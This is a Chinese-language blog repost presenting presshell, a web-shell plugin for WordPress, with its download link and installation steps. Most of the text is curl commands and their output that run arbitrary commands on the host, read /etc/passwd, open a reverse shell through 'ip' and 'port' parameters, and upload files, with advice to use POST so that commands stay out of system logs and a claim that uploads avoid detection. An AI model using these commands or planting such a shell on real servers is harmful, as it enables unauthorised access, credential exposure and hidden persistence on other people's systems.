如何使用presshell在WordPress主机上执行Shell命令

admin 2022年4月28日18:18:17评论51 views字数 1499阅读4分59秒阅读模式

如何使用presshell在WordPress主机上执行Shell命令

关于presshell

presshell是一款针对WordPress的Shell工具,该工具可以帮助广大研究人员上传Shell文件,并在WordPress服务器/主机上轻松执行Shell命令。注意,上传Shell的路径为“<your-host>/wp-content/plugins/shell/shell.php”。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/scheatkode/presshell.git

工具安装

在安装该工具之前,请确保已经拿到了WordPress的管理员权限,并且能够安装插件,否则可能无法正常将PHP文件发送至WordPress的媒体资料库中。

接下来,直接上传该项目Releases页面】提供的zip文件即可。

工具使用

该工具的使用也非常简单,我们可以直接将“sh”命令以参数的形式传递给Shell即可:

❯ curl 'http://host/.../shell.php?cmd=uname+-a'
Linux wordpress-server 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux

当然了,我们也可以将下列参数在POST请求中发送,我们也建议大家使用这种方式来保证命令执行不会被记录到系统日志中:

❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'
LICENSE
README.md
shell.php

除此之外,该工具还支持使用一些更加复杂的命令,:

❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=cat /etc/passwd | grep -v "(false|nologin)"'
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=python -c "from urllib.parse import urlencode; print(urlencode({"cmd": "uname -a"}))"'
cmd=uname+-a

我们还可以使用“ip”和“port”参数来开启一个方向Shell,默认端口为“443”:

❯ curl 'http://host/.../shell.php' --data-urlencode 'ip=127.0.0.1'
❯ curl 'http://host/.../shell.php' --data-urlencode 'ip=127.0.0.1' --data-urlencode 'port=1337'

我们还可以使用下列命令向插件目录轻松上传一个文件,而且无需通过任何检测:

❯ curl 'http://host/.../shell.php' -F 'file=@some_file'
❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'
LICENSE
README.md
shell.php
some_file

许可证协议


本项目的开发与发布遵循MIT开源许可证协议。

项目地址

https://github.com/scheatkode/presshell

如何使用presshell在WordPress主机上执行Shell命令

精彩推荐

如何使用presshell在WordPress主机上执行Shell命令
如何使用presshell在WordPress主机上执行Shell命令
如何使用presshell在WordPress主机上执行Shell命令
如何使用presshell在WordPress主机上执行Shell命令

原文始发于微信公众号(FreeBuf):如何使用presshell在WordPress主机上执行Shell命令

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月28日18:18:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何使用presshell在WordPress主机上执行Shell命令http://cn-sec.com/archives/952964.html

发表评论

匿名网友 填写信息